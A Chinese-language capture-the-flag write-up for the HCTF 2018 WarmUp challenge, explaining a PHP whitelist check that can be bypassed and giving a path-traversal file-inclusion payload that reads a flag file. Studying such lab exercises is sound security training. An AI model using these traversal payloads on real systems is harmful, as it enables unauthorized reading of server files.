首先进入靶场我们会看到一个大小脸,这看起来似乎什么都没有,但是f12会发现

[HCTF 2018]WarmUp-1.png

看注释提示有个source.php, 我们可以去网址后面加上这个访问一下,会出现一段php代码,这里我给他加上了注释

代码解读

<?php
/**
 * CTF题目:带白名单校验的文件包含漏洞
 * 核心考点:校验逻辑 vs 执行逻辑不一致导致的绕过
 */

// 🔹 功能:高亮显示当前源代码(CTF常用,方便选手分析)
highlight_file(__FILE__);


/**
 * 🔹 定义类 emmm(名字随意,无特殊含义)
 */
class emmm
{
    /**
     * 🔹 静态方法 checkFile:校验用户传入的 $page 是否"合法"
     * @param string &$page 用户输入的文件名(引用传递,可被修改)
     * @return bool 校验通过返回 true,否则 false
     */
    public static function checkFile(&$page)
    {
        // 🔸 白名单:只允许这两个文件
        $whitelist = ["source"=>"source.php", "hint"=>"hint.php"];
        
        // 🔸 基础校验:$page 必须存在且是字符串
        if (! isset($page) || !is_string($page)) {
            echo "you can't see it";  // 失败提示
            return false;
        }

        // 🔸 校验①:直接匹配白名单
        // 例:file=source.php → ✅ 通过
        if (in_array($page, $whitelist)) {
            return true;
        }

        // 🔸 校验②:截取 ? 之前的部分再匹配(绕过思路:file=source.php?a=1)
        // mb_strpos($page . '?', '?') → 找到第一个 ? 的位置
        // mb_substr(..., 0, 位置) → 截取 ? 前面的字符串
        // 例:file=source.php?../../flag → 截取后变成 source.php → ✅ 通过校验
        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')  // + '?' 确保即使没 ? 也能正常截取
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        // 🔸 校验③:先 URL 解码,再截取 ? 前部分,再匹配
        // 绕过思路:file=source.php%3F../../flag → decode后变成 source.php?../../flag → 截取 source.php → ✅ 通过
        $_page = urldecode($page);  // 解码一次:%3F → ?
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        // 🔸 三重校验都失败 → 拒绝访问
        echo "you can't see it";
        return false;
    }
}


/**
 * 🔹 主逻辑:处理用户请求
 */
if (
    ! empty($_REQUEST['file'])              // ① file 参数存在且非空
    && is_string($_REQUEST['file'])         // ② 是字符串类型
    && emmm::checkFile($_REQUEST['file'])   // ③ 通过白名单校验
) {
    // ⚠️ 高危操作:直接 include 用户输入!
    // 💣 漏洞核心:checkFile 校验的是「处理后」的值,但 include 用的是「原始输入」
    include $_REQUEST['file'];  // ← 实际执行的文件路径是用户原始输入!
    exit;  // 成功后退出,不执行下方代码
} else {
    // 校验失败:显示一张图片(CTF常见干扰/提示)
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}  
?>

看代码貌似还有一个hint.php,我们访问显示

flag not here, and flag in ffffllllaaaagggg

显然我们找错地方了,但是他给我们了一个提示说明flag应该是在 ffffllllaaaagggg文件中

最终的payload为 <靶场地址>:/source.php?file=source.php?/../../../../ffffllllaaaagggg

一定要注意的就是靶场地址后面的文件只能是source.php不能是hint.php,因为只有访问source.php才会出发include的漏洞,hint.php里面可能就是这么一段简单的php代码

<?php
echo "flag not here, and flag in ffffllllaaaagggg";
?>

📊 两种访问方式对比

✅ 访问 /source.php?file=hint.php?/../../../../ffffllllaaaagggg

1️⃣ 入口文件:source.php
   ↓
2️⃣ 执行 source.php 的代码:
   - 调用 emmm::checkFile($_REQUEST['file'])
   - file 参数值:"hint.php?/../../../../ffffllllaaaagggg"
   - 校验:截取 ? 前 → "hint.php" ✅ 白名单通过
   ↓
3️⃣ 执行漏洞点:include $_REQUEST['file']
   - include "hint.php?/../../../../ffffllllaaaagggg"
   - PHP 解析:hint.php 被包含执行,? 后内容在某些环境下可触发路径遍历
   ↓
4️⃣ 成功读取 ffffllllaaaagggg 内容 🚩

❌ 访问 /hint.php?file=hint.php?/../../../../ffffllllaaaagggg

1️⃣ 入口文件:hint.php
   ↓
2️⃣ 执行 hint.php 的代码:
   - ⚠️ hint.php 可能只是一个普通文件,没有 checkFile + include 逻辑!
   - 或者 hint.php 有自己的逻辑,根本不处理 $_REQUEST['file'] 参数
   ↓
3️⃣ file 参数被忽略,payload 从未被执行
   ↓
4️⃣ 无法触发漏洞,拿不到 flag ❌

hint.php?/../../../../ffffllllaaaagggg(✅ 成功)

include 参数: "hint.php?/../../../../ffffllllaaaagggg"
                ↓
PHP 解析逻辑:
  ① ? 前: hint.php → 主文件(用于通过白名单校验)
  ② ? 后: /../../../../ffffllllaaaagggg
                ↓
  ③ / 开头 = 绝对路径 → 从文件系统根目录 / 开始遍历
                ↓
  路径解析: / → ../ → ../../ → ../../../ → ../../../../ → /ffffllllaaaagggg
                ↓
  ✅ 成功定位到根目录下的 flag 文件1